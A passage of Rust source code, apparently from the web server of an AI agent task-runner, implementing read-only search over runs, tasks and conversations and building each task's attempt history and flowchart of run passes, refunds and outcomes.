4373    I: IntoIterator<Item = (String, serde_json::Value)>,
4374{
4375    for (id, doc) in docs {
4376        let mut leaves = Vec::new();
4377        // The id is text an operator types too, and it is a map key on disk,
4378        // not a leaf.
4379        leaves.push(("id", id.as_str()));
4380        text_leaves(&doc, "", &mut leaves);
4381        if let Some(mut hit) = search_document(terms, &leaves) {
4382            view.total += 1;
4383            if view.hits.len() < SEARCH_MAX_HITS {
4384                hit.id = id;
4385                view.hits.push(hit);
4386            }
4387        }
4388    }
4389    view.truncated = view.total > view.hits.len();
4390}
4391
4392/// What a conversation is searched by: its list title and each turn's text,
4393/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4394/// (session ids, repo paths, usage, drafts) is part of the document.
4395///
4396/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4397/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4398fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4399    let opener = talk
4400        .turns
4401        .iter()
4402        .find(|t| t.who == crate::talk::Who::Operator)
4403        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4404        .unwrap_or("");
4405    let title: String = if opener.chars().count() > 96 {
4406        opener.chars().take(95).chain(['\u{2026}']).collect()
4407    } else {
4408        opener.to_owned()
4409    };
4410    let turns: Vec<serde_json::Value> = talk
4411        .turns
4412        .iter()
4413        .map(|t| {
4414            let who = match t.who {
4415                crate::talk::Who::Operator => "operator",
4416                crate::talk::Who::Agent => "agent",
4417            };
4418            serde_json::json!({ who: t.body })
4419        })
4420        .collect();
4421    serde_json::json!({ "title": title, "turns": turns })
4422}
4423
4424/// Read-only full-text search over every run's `run.json`, every task or every
4425/// conversation (title and transcript).
4426///
4427/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4428/// record from an older schema still searches; only a file that is not JSON
4429/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4430async fn search_get(
4431    State(ui): State<Arc<Ui>>,
4432    Query(q): Query<SearchQuery>,
4433) -> ApiResult<Json<SearchView>> {
4434    let query = q.q.trim().to_owned();
4435    if query.is_empty() {
4436        return Err(ApiError::bad_request("q must not be empty"));
4437    }
4438    if query.chars().count() > SEARCH_MAX_QUERY {
4439        return Err(ApiError::bad_request(format!(
4440            "q is longer than {SEARCH_MAX_QUERY} characters"
4441        )));
4442    }
4443    let terms = search_terms(&query);
4444    if terms.len() > SEARCH_MAX_TERMS {
4445        return Err(ApiError::bad_request(format!(
4446            "q has more than {SEARCH_MAX_TERMS} terms"
4447        )));
4448    }
4449    let scope = q.scope;
4450    if scope != "runs" && scope != "tasks" && scope != "chats" {
4451        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4452    }
4453    blocking(move || {
4454        let mut view = SearchView {
4455            scope: scope.clone(),
4456            q: query,
4457            hits: Vec::new(),
4458            total: 0,
4459            truncated: false,
4460            unreadable: 0,
4461        };
4462        if scope == "runs" {
4463            let mut unreadable = 0;
4464            // One run.json is read, matched and dropped at a time; nothing
4465            // holds the whole history. The scan runs to the end even past the
4466            // hit cap so `total` and `unreadable` stay exact.
4467            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4468                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4469                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4470                    Some(v) => Some((id, v)),
4471                    None => {
4472                        unreadable += 1;
4473                        None
4474                    }
4475                }
4476            });
4477            search_docs(&terms, docs, &mut view);
4478            view.unreadable = unreadable;
4479            // Only the capped hits get a row: the filters need a run's state,
4480            // and reading every match would be the whole history again.
4481            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4482            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4483            for hit in &mut view.hits {
4484                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4485                    hit.run = summarize(
4486                        [state],
4487                        &open_runs,
4488                        &claimed,
4489                        &superseded,
4490                        |p| probe.borrow_mut().status(p),
4491                        |p| probe.borrow_mut().started_at(p),
4492                    )
4493                    .pop();
4494                }
4495            }
4496        } else if scope == "chats" {
4497            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4498            view.unreadable = unreadable;
4499            search_docs(
4500                &terms,
4501                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4502                &mut view,
4503            );
4504        } else {
4505            let docs = ui.queue.list().into_iter().filter_map(|t| {
4506                let mut v = serde_json::to_value(&t).ok()?;
4507                // `source` serialises as a tagged object; the label is what
4508                // the operator reads ("human", "chat@a1b2").
4509                if let Some(o) = v.as_object_mut() {
4510                    o.insert("filed_by".to_owned(), t.source.label().into());
4511                }
4512                Some((t.id, v))
4513            });
4514            search_docs(&terms, docs, &mut view);
4515        }
4516        Ok(Json(view))
4517    })
4518    .await
4519}
4520
4521/// One attempt in a task's history, as the task page lists it.
4522#[derive(Debug, Serialize)]
4523struct TaskRunView {
4524    /// 1-based position in [`Task::runs`].
4525    n: usize,
4526    id: String,
4527    short: String,
4528    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4529    kind: &'static str,
4530    /// The run's own status string; `None` when its record cannot be read.
4531    status: Option<&'static str>,
4532    /// Whether this build could read the run's record. Counted, never hidden.
4533    readable: bool,
4534    /// A verdict from a collapsed panel is provisional, never a decision.
4535    provisional: bool,
4536    /// What kind of attempt this was, in one line.
4537    description: String,
4538    /// How it ended and why the task moved on (or what it is doing now).
4539    outcome: String,
4540    created_at: Option<Timestamp>,
4541    pr: Option<String>,
4542    /// Why this pass ended, classified once; the flowchart is built from it.
4543    exit: RunExit,
4544    /// What the pass did to the task's attempt budget.
4545    attempt: AttemptCost,
4546    /// Edge wording for leaving this entry; names the recorded cause when
4547    /// there is one.
4548    exit_label: String,
4549    /// The position of a later entry for the same run: this entry is an
4550    /// earlier pass of it.
4551    later_pass: Option<usize>,
4552    /// Which pass over the run this entry is (1-based) and how many entries
4553    /// the task lists for the run. Counted from the list, so known even for
4554    /// a legacy record.
4555    pass_n: usize,
4556    passes_of_run: usize,
4557    /// What the run recorded about this pass; `None` for a record from before
4558    /// passes were kept, whose cause stays unknown.
4559    pass: Option<PassView>,
4560    /// The branch a review-only run reopened.
4561    branch: Option<String>,
4562    /// The badge word when it differs from `status` (`stale` / `superseded`);
4563    /// filled by the task route, which can see liveness and later attempts.
4564    badge: Option<String>,
4565}
4566
4567/// One recorded pass over a run, for the wire.
4568#[derive(Debug, Clone, PartialEq, Serialize)]
4569struct PassView {
4570    index: usize,
4571    resumed: bool,
4572    started_at: Timestamp,
4573    ended_at: Option<Timestamp>,
4574    /// `open`, `parked` or `unrecorded`.
4575    end: &'static str,
4576    cause: Option<crate::run::ParkCause>,
4577    /// One line: why it stopped, or that nobody recorded why.
4578    label: String,
4579    /// What the task recorded for this pass; `None` when it was not settled
4580    /// (or settled by a build that kept no record).
4581    cost: Option<crate::queue::PassCost>,
4582}
4583
4584impl PassView {
4585    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4586        use crate::run::PassEnd;
4587        let (end, cause, label) = match &p.end {
4588            None => ("open", None, "still open".to_owned()),
4589            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4590            Some(PassEnd::Unrecorded) => (
4591                "unrecorded",
4592                None,
4593                "stopped without recording why (a crash, a kill or a restart; not known)"
4594                    .to_owned(),
4595            ),
4596        };
4597        Self {
4598            index: p.index,
4599            resumed: p.resumed,
4600            started_at: p.started_at,
4601            ended_at: p.ended_at,
4602            end,
4603            cause,
4604            label,
4605            cost: settled.map(|t| t.cost),
4606        }
4607    }
4608}
4609
4610/// How one pass over a run ended, as far as the task's life is concerned.
4611#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4612#[serde(rename_all = "snake_case")]
4613enum RunExit {
4614    Unreadable,
4615    /// An earlier pass of a run id that appears again: it stopped short.
4616    Interrupted,
4617    Parked,
4618    QuotaStall,
4619    /// Stalled on a resumed pass with quota losses on record: they may be
4620    /// left over from an earlier pass, so whether this one was refunded is
4621    /// not knowable.
4622    ResumedQuotaStall,
4623    Merged,
4624    Ready,
4625    Superseded,
4626    /// The change was already on the base under other commits: the task
4627    /// finished without this run landing anything.
4628    AlreadyInBase,
4629    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4630    Stalled,
4631    /// Blocked / no-op with a pull request left open: held for a person.
4632    HeldWithPr,
4633    NoopHeld,
4634    /// Blocked or failed: the attempt is spent and the task retries or holds.
4635    Spent,
4636    InProgress,
4637}
4638
4639#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4640#[serde(rename_all = "snake_case")]
4641enum AttemptCost {
4642    Spent,
4643    Refunded,
4644    None,
4645    /// Cannot be told from the records that remain.
4646    Unknown,
4647}
4648
4649impl RunExit {
4650    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4651        let Some(s) = s else {
4652            return Self::Unreadable;
4653        };
4654        let status = s.status;
4655        if resumed_later {
4656            Self::Interrupted
4657        } else if s.parked {
4658            Self::Parked
4659        } else if !status.done() {
4660            Self::InProgress
4661        } else if matches!(status, RunStatus::Merged) {
4662            Self::Merged
4663        } else if matches!(status, RunStatus::Ready) {
4664            Self::Ready
4665        } else if matches!(status, RunStatus::Superseded) {
4666            Self::Superseded
4667        } else if matches!(status, RunStatus::AlreadyInBase) {
4668            Self::AlreadyInBase
4669        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4670            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4671        {
4672            if resumed {
4673                Self::ResumedQuotaStall
4674            } else {
4675                Self::QuotaStall
4676            }
4677        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4678            Self::HeldWithPr
4679        } else if matches!(status, RunStatus::VerifiedNoop) {
4680            Self::NoopHeld
4681        } else if matches!(status, RunStatus::Stalled) {
4682            Self::Stalled
4683        } else {
4684            Self::Spent
4685        }
4686    }
4687
4688    fn cost(self) -> AttemptCost {
4689        match self {
4690            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4691            Self::Merged
4692            | Self::Ready
4693            | Self::Stalled
4694            | Self::HeldWithPr
4695            | Self::NoopHeld
4696            | Self::Spent => AttemptCost::Spent,
4697            Self::InProgress => AttemptCost::None,
4698            Self::AlreadyInBase => AttemptCost::Refunded,
4699            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4700                AttemptCost::Unknown
4701            }
4702        }
4703    }
4704
4705    /// Short edge wording for leaving a run this way.
4706    fn edge_label(self, status: Option<&str>) -> String {
4707        match self {
4708            Self::Unreadable => "record unreadable".to_owned(),
4709            Self::Interrupted => "interrupted before the run finished".to_owned(),
4710            Self::Parked => "parked, attempt refunded".to_owned(),
4711            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4712            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4713            Self::Merged => "merged".to_owned(),
4714            Self::Ready => "ready, not merged".to_owned(),
4715            Self::Superseded => "superseded by a later attempt".to_owned(),
4716            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4717            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4718            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4719            Self::NoopHeld => "verified no-op".to_owned(),
4720            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4721            Self::InProgress => "in progress".to_owned(),
4722        }
4723    }
4724
4725    /// Does a task in `end` follow from a run that ended this way? When not,
4726    /// somebody closed or held the task by hand.
4727    fn explains(self, end: TaskStatus) -> bool {
4728        match self {
4729            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4730            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4731            Self::Unreadable | Self::Superseded | Self::Ready => true,
4732            _ => end != TaskStatus::Done,
4733        }
4734    }
4735}
4736
4737/// `GET /api/queue/{id}` - one task with every attempt it went through.
4738#[derive(Debug, Serialize)]
4739struct TaskDetailView {
4740    #[serde(flatten)]
4741    task: TaskView,
4742    /// Task override, or the default daemon budget when inherited.
4743    /// A separate loop's command-line limit is not visible from here.
4744    max_attempts: usize,
4745    history: Vec<TaskRunView>,
4746    /// Entries in `history`: passes over runs, not distinct runs and not
4747    /// attempts consumed (`task.attempts`).
4748    passes_total: usize,
4749    /// Distinct runs those passes belong to.
4750    runs_distinct: usize,
4751    flow: FlowView,
4752    /// Set for a follow-up task; see [`followup_origin`].
4753    followup_origin: Option<FollowUpOrigin>,
4754    /// How many entries of `history` could not be read.
4755    runs_unreadable: usize,
4756    /// Why the attempt count can be lower than the number of runs.
4757    attempts_note: &'static str,
4758}
4759
4760const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4761and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4762on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4763the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4764
4765/// The branch a review-only run reopened, read off the instruction
4766/// `Runner::open_review` writes.
4767fn review_branch_of(instruction: &str) -> Option<&str> {
4768    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4769    rest.split('`').next().filter(|b| !b.is_empty())
4770}
4771
4772/// Where an entry sits in a task's run list.
4773#[derive(Default)]
4774struct RunSlot<'a> {
4775    /// 1-based position.
4776    n: usize,
4777    /// The same run id appeared earlier: this pass resumed it.
4778    resumed: bool,
4779    /// Position of a later pass over the same run id, if any.
4780    resumed_later: Option<usize>,
4781    /// The previous distinct run and how it ended, for the retry note.
4782    prior: Option<(&'a str, RunStatus)>,
4783    last: bool,
4784    /// This pass as the run recorded it, when it did.
4785    pass: Option<&'a crate::run::RunPass>,
4786    /// What the task recorded when it settled this pass.
4787    settled: Option<&'a crate::queue::TaskPass>,
4788    /// 1-based position among the task's entries for this run, and their count.
4789    pass_n: usize,
4790    passes_of_run: usize,
4791}
4792
4793/// Describe one entry of a task's run list. Pure: everything it needs is on
4794/// the run and the task, so it is asserted without a server.
4795fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4796    let RunSlot {
4797        n,
4798        resumed,
4799        resumed_later,
4800        prior,
4801        last,
4802        pass,
4803        settled,
4804        pass_n,
4805        passes_of_run,
4806    } = at;
4807    let short = run::short_of(id).to_owned();
4808    let Some(s) = state else {
4809        return TaskRunView {
4810            n,
4811            id: id.to_owned(),
4812            short,
4813            kind: "unknown",
4814            status: None,
4815            readable: false,
4816            provisional: false,
4817            description:
4818                "This run's record could not be read by this build (written by a different \
4819                          magi, or removed), so what kind of attempt it was is unknown."
4820                    .to_owned(),
4821            outcome: String::new(),
4822            created_at: None,
4823            pr: None,
4824            exit: RunExit::Unreadable,
4825            attempt: AttemptCost::Unknown,
4826            exit_label: RunExit::Unreadable.edge_label(None),
4827            later_pass: resumed_later,
4828            pass_n,
4829            passes_of_run,
4830            pass: None,
4831            branch: None,
4832            badge: None,
4833        };
4834    };
4835    let branch = review_branch_of(&s.instruction);
4836    let kind = if resumed {
4837        "resume"
4838    } else if branch.is_some() {
4839        "review"
4840    } else if task.solo || s.candidates.len() == 1 {
4841        "solo"
4842    } else {
4843        "competition"
4844    };
4845    let mut description = match kind {
4846        "resume" => {
4847            format!("Resumed run {short}: the same run carried on instead of competing again.")
4848        }
4849        "review" => format!(
4850            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4851            branch.unwrap_or_default()
4852        ),
4853        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4854        _ => format!(
4855            "Competition: {} candidates judged blind.",
4856            s.candidates.len().max(1)
4857        ),
4858    };
4859    if !resumed && let Some((p, st)) = prior {
4860        description.push_str(&format!(
4861            " A retry: run {p} before it ended {}.",
4862            st.display_label()
4863        ));
4864    }
4865
4866    let status = s.status;
4867    let provisional = matches!(status, RunStatus::Stalled)
4868        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4869    let head = if resumed_later.is_some() {
4870        String::new()
4871    } else {
4872        match status {
4873            RunStatus::Merged => "Merged.".to_owned(),
4874            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4875            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4876            RunStatus::AlreadyInBase => {
4877                "Already in the base: this change landed under other commits, nothing was left to land."
4878                    .to_owned()
4879            }
4880            RunStatus::Stalled => {
4881                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4882                    .to_owned()
4883            }
4884            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4885            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4886            RunStatus::VerifiedNoop => {
4887                "Verified no-op: the candidates found nothing to change.".to_owned()
4888            }
4889            other if other.done() => format!("Ended {}.", other.display_label()),
4890            other => format!("In progress ({}).", other.display_label()),
4891        }
4892    };
4893    let view = pass.map(|p| PassView::of(p, settled));
4894    let recorded_end = view
4895        .as_ref()
4896        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
4897    let cost_words = match view.as_ref().and_then(|v| v.cost) {
4898        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
4899        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
4900        None => "whether its attempt was handed back was not recorded",
4901    };
4902    let pass_note = if passes_of_run > 1 {
4903        format!(
4904            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
4905        )
4906    } else {
4907        String::new()
4908    };
4909    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
4910        // The run recorded this pass's end when it happened.
4911        let cause = match v.end {
4912            "parked" => format!("It was stopped on purpose: {}.", v.label),
4913            _ => format!("It {}.", v.label),
4914        };
4915        format!(
4916            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
4917            capitalise(cost_words)
4918        )
4919    } else if let Some(k) = resumed_later {
4920        // A run is only picked up again while it is unfinished, so an earlier
4921        // pass of a repeated id stopped short; the record keeps only the run's
4922        // latest status, which is left to the pass that carried it on.
4923        // Only the latest state is recorded: `parked` is cleared on resume
4924        // and `quota` accumulates across passes, so neither says why *this*
4925        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4926        let cause = if s.quota.is_empty() {
4927            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4928        } else {
4929            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4930        };
4931        format!(
4932            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4933        )
4934    } else if s.parked {
4935        match recorded_end.and_then(|v| v.cause.as_ref()) {
4936            Some(cause) => format!(
4937                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
4938                cause.label(),
4939                cost_words
4940            ),
4941            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
4942                .to_owned(),
4943        }
4944    } else if !status.done()
4945        || matches!(
4946            status,
4947            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4948        )
4949    {
4950        String::new()
4951    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4952        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4953    {
4954        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4955            .to_owned()
4956    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4957        " It left a pull request open, so the task was held for a person rather than retried."
4958            .to_owned()
4959    } else if matches!(status, RunStatus::VerifiedNoop) {
4960        " Held for a person to check the claim.".to_owned()
4961    } else if last {
4962        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4963    } else {
4964        " It spent an attempt, and the task moved on to the next run.".to_owned()
4965    };
4966    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4967    let mut attempt = exit.cost();
4968    let mut exit_label = None;
4969    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
4970        let spent = match v.cost {
4971            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
4972            Some(crate::queue::PassCost::Spent) => ", attempt counted",
4973            None if resumed_later.is_some() => ", refund not recorded",
4974            None => ", attempt refunded",
4975        };
4976        attempt = match v.cost {
4977            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
4978            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
4979            None if resumed_later.is_some() => AttemptCost::Unknown,
4980            None => attempt,
4981        };
4982        if v.end == "parked" {
4983            exit = RunExit::Parked;
4984            exit_label = Some(match v.cause.as_ref() {
4985                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
4986                    format!("parked for {}{spent}", c.label())
4987                }
4988                Some(c) => format!("parked ({}){spent}", c.label()),
4989                None => format!("parked{spent}"),
4990            });
4991        } else {
4992            exit_label = Some(format!("stopped without a recorded cause{spent}"));
4993        }
4994    }
4995    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
4996    TaskRunView {
4997        n,
4998        id: id.to_owned(),
4999        short,
5000        kind,
5001        status: Some(status.as_str()),
5002        readable: true,
5003        provisional,
5004        description,
5005        outcome: format!("{head}{why}"),
5006        created_at: Some(s.created_at),
5007        pr: s.pr.as_ref().map(|p| p.url.clone()),
5008        exit,
5009        attempt,
5010        exit_label,
5011        later_pass: resumed_later,
5012        pass_n,
5013        passes_of_run,
5014        pass: view,
5015        branch: branch.map(str::to_owned),
5016        badge: None,
5017    }
5018}
5019
5020fn capitalise(s: &str) -> String {
5021    let mut c = s.chars();
5022    c.next().map_or_else(String::new, |f| {
5023        f.to_uppercase().collect::<String>() + c.as_str()
5024    })
5025}
5026
5027/// One box of the task's flowchart.
5028#[derive(Debug, Serialize, PartialEq)]
5029struct FlowNode {
5030    /// Unique by position: a resumed run id appears once per pass.
5031    key: String,
5032    /// `chat`, `followup`, `start`, `run` or `end`.
5033    kind: &'static str,
5034    label: String,
5035    /// Run status (or the task's, for `end`); `None` when it is not a fact
5036    /// about this box (unreadable, or a pass the run later resumed from).
5037    status: Option<&'static str>,
5038    /// Whose status `status` is, so the client picks the right colour table:
5039    /// `task` (the `followup` parent and `end`) or `run`.
5040    status_of: &'static str,
5041    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
5042    note: Option<&'static str>,
5043    run_kind: Option<&'static str>,
5044    detail: Option<String>,
5045    /// A readable run with a real verdict; a stall never is.
5046    decided: bool,
5047    readable: bool,
5048    href: Option<String>,
5049    /// Overrides `status` as the badge word (`stale` / `superseded`).
5050    badge: Option<String>,
5051    /// Start of this entry, never the run's latest update or pass settlement.
5052    started_at: Option<Timestamp>,
5053    /// Context links (chat / follow-up) do not represent execution entries.
5054    time_expected: bool,
5055}
5056
5057#[derive(Debug, Serialize, PartialEq)]
5058struct FlowEdge {
5059    from: String,
5060    to: String,
5061    label: String,
5062    attempt: AttemptCost,
5063}
5064
5065#[derive(Debug, Serialize, PartialEq)]
5066struct FlowView {
5067    nodes: Vec<FlowNode>,
5068    edges: Vec<FlowEdge>,
5069    /// Attempts the task has counted since it was last released.
5070    attempts: usize,
5071    max_attempts: usize,
5072    /// Entries in the run list (passes), and how many distinct runs they are.
5073    /// Neither is the number of attempts consumed.
5074    passes: usize,
5075    runs: usize,
5076}
5077
5078/// Turn a task and its described runs into the flowchart's boxes and arrows.
5079/// Pure: the page only draws what this returns.
5080///
5081/// A follow-up opens with its parent (or the merged run) unless the task's
5082/// *source* is itself a chat, in which case the chat stays first and the
5083/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5084/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5085/// two normally do not coincide and the nearer origin wins.
5086fn task_flow(
5087    task: &Task,
5088    history: &[TaskRunView],
5089    max_attempts: usize,
5090    origin: Option<&FollowUpOrigin>,
5091) -> FlowView {
5092    let max_attempts = task.effective_attempt_limit(max_attempts);
5093    let node = |key: &str, kind, label: String| FlowNode {
5094        key: key.to_owned(),
5095        kind,
5096        label,
5097        status: None,
5098        status_of: "run",
5099        note: None,
5100        run_kind: None,
5101        detail: None,
5102        decided: false,
5103        readable: true,
5104        href: None,
5105        badge: None,
5106        started_at: None,
5107        time_expected: matches!(kind, "start" | "run" | "end"),
5108    };
5109    let mut nodes = Vec::new();
5110    let mut edges: Vec<FlowEdge> = Vec::new();
5111    // A task queued from a chat opens the flow with that conversation.
5112    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5113        let mut n = node(
5114            "chat",
5115            "chat",
5116            format!("Chat {}", crate::queue::short(&link.id)),
5117        );
5118        n.href = Some(link.href);
5119        nodes.push(n);
5120        edges.push(FlowEdge {
5121            from: "chat".to_owned(),
5122            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5123            label: "queued from chat".to_owned(),
5124            attempt: AttemptCost::None,
5125        });
5126    }
5127    if let Some(o) = origin {
5128        let mut n = match &o.parent {
5129            Some(p) => {
5130                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5131                n.status = Some(p.status);
5132                n.status_of = "task";
5133                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5134                n.href = Some(p.href.clone());
5135                n
5136            }
5137            None => {
5138                let mut n = node(
5139                    "origin",
5140                    "followup",
5141                    format!("Follow-up of run {}", o.run.short),
5142                );
5143                n.detail = Some("merged run".to_owned());
5144                n.status = o.run.status;
5145                n.href = o.run.href.clone();
5146                if o.run.href.is_none() {
5147                    n.readable = false;
5148                    n.note = Some("unreadable");
5149                }
5150                n
5151            }
5152        };
5153        n.decided = true;
5154        let from = n.key.clone();
5155        nodes.push(n);
5156        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5157        let more = o.findings.len().saturating_sub(shown.len());
5158        let label = match (shown.is_empty(), more) {
5159            (true, _) => "open findings".to_owned(),
5160            (false, 0) => format!("open findings {}", shown.join(", ")),
5161            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5162        };
5163        edges.push(FlowEdge {
5164            from,
5165            to: "start".to_owned(),
5166            label,
5167            attempt: AttemptCost::None,
5168        });
5169    }
5170    let mut start = node("start", "start", "Task queued".to_owned());
5171    start.started_at = Some(task.created_at);
5172    nodes.push(start);
5173    let mut prev = "start".to_owned();
5174    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5175    for (i, h) in history.iter().enumerate() {
5176        let key = format!("run-{}", h.n);
5177        let mut n = node(&key, "run", format!("Run {}", h.short));
5178        // Creation marks only the first pass of legacy runs. A resumed pass
5179        // without a record must not inherit the original run's start time.
5180        n.started_at = h
5181            .readable
5182            .then(|| {
5183                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5184                    h.created_at
5185                } else {
5186                    None
5187                })
5188            })
5189            .flatten();
5190        n.run_kind = Some(h.kind);
5191        n.readable = h.readable;
5192        n.href = Some(format!("#/runs/{}", h.id));
5193        n.decided = h.readable && !h.provisional;
5194        n.detail = h
5195            .branch
5196            .as_ref()
5197            .map(|b| format!("review-only run of branch {b}"));
5198        match h.exit {
5199            RunExit::Unreadable => n.note = Some("unreadable"),
5200            RunExit::Interrupted => n.note = Some("interrupted"),
5201            // An earlier pass the run recorded as parked: the status shown
5202            // would be the run's current one, not this pass's.
5203            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5204            _ => {
5205                n.status = h.status;
5206                n.badge = h.badge.clone();
5207                if h.provisional {
5208                    n.note = Some("no verdict");
5209                }
5210            }
5211        }
5212        let into = match h.kind {
5213            "review" => Some(format!(
5214                "review-only run of branch {}",
5215                h.branch.as_deref().unwrap_or("?")
5216            )),
5217            "resume" => Some("resume the same run".to_owned()),
5218            _ if i > 0 => Some("retry".to_owned()),
5219            _ => None,
5220        };
5221        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5222        let label = match (prev_exit, into) {
5223            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5224            (Some((_, l, _)), None) => l,
5225            (None, Some(i)) => i,
5226            (None, None) => "claimed".to_owned(),
5227        };
5228        edges.push(FlowEdge {
5229            from: prev.clone(),
5230            to: key.clone(),
5231            label,
5232            attempt,
5233        });
5234        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5235        prev = key;
5236        nodes.push(n);
5237    }
5238    let mut end = node("end", "end", task.status.as_str().to_owned());
5239    end.status = Some(task.status.as_str());
5240    end.status_of = "task";
5241    // Other task states do not persist their transition start. In particular,
5242    // blocked_at can change while the task remains blocked.
5243    if task.status == TaskStatus::Held {
5244        end.started_at = task.held_at;
5245    }
5246    nodes.push(end);
5247    let (label, attempt) = match prev_exit {
5248        None => (
5249            format!("no run yet \u{2192} {}", task.status.as_str()),
5250            AttemptCost::None,
5251        ),
5252        Some((e, l, cost)) if e.explains(task.status) => {
5253            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5254        }
5255        Some((_, _, cost)) => (
5256            format!("closed by hand: task is {}", task.status.as_str()),
5257            cost,
5258        ),
5259    };
5260    edges.push(FlowEdge {
5261        from: prev,
5262        to: "end".to_owned(),
5263        label,
5264        attempt,
5265    });
5266    FlowView {
5267        nodes,
5268        edges,
5269        attempts: task.attempts,
5270        max_attempts,
5271        passes: history.len(),
5272        runs: distinct_runs(&task.runs),
5273    }
5274}
5275
5276/// How many different run ids a task's run list names.
5277fn distinct_runs(runs: &[String]) -> usize {
5278    let mut seen: Vec<&str> = Vec::new();
5279    for r in runs {
5280        if !seen.contains(&r.as_str()) {
5281            seen.push(r);
5282        }
5283    }
5284    seen.len()
5285}
5286
5287/// Describe recorded task passes, retaining unrecorded legacy list entries.
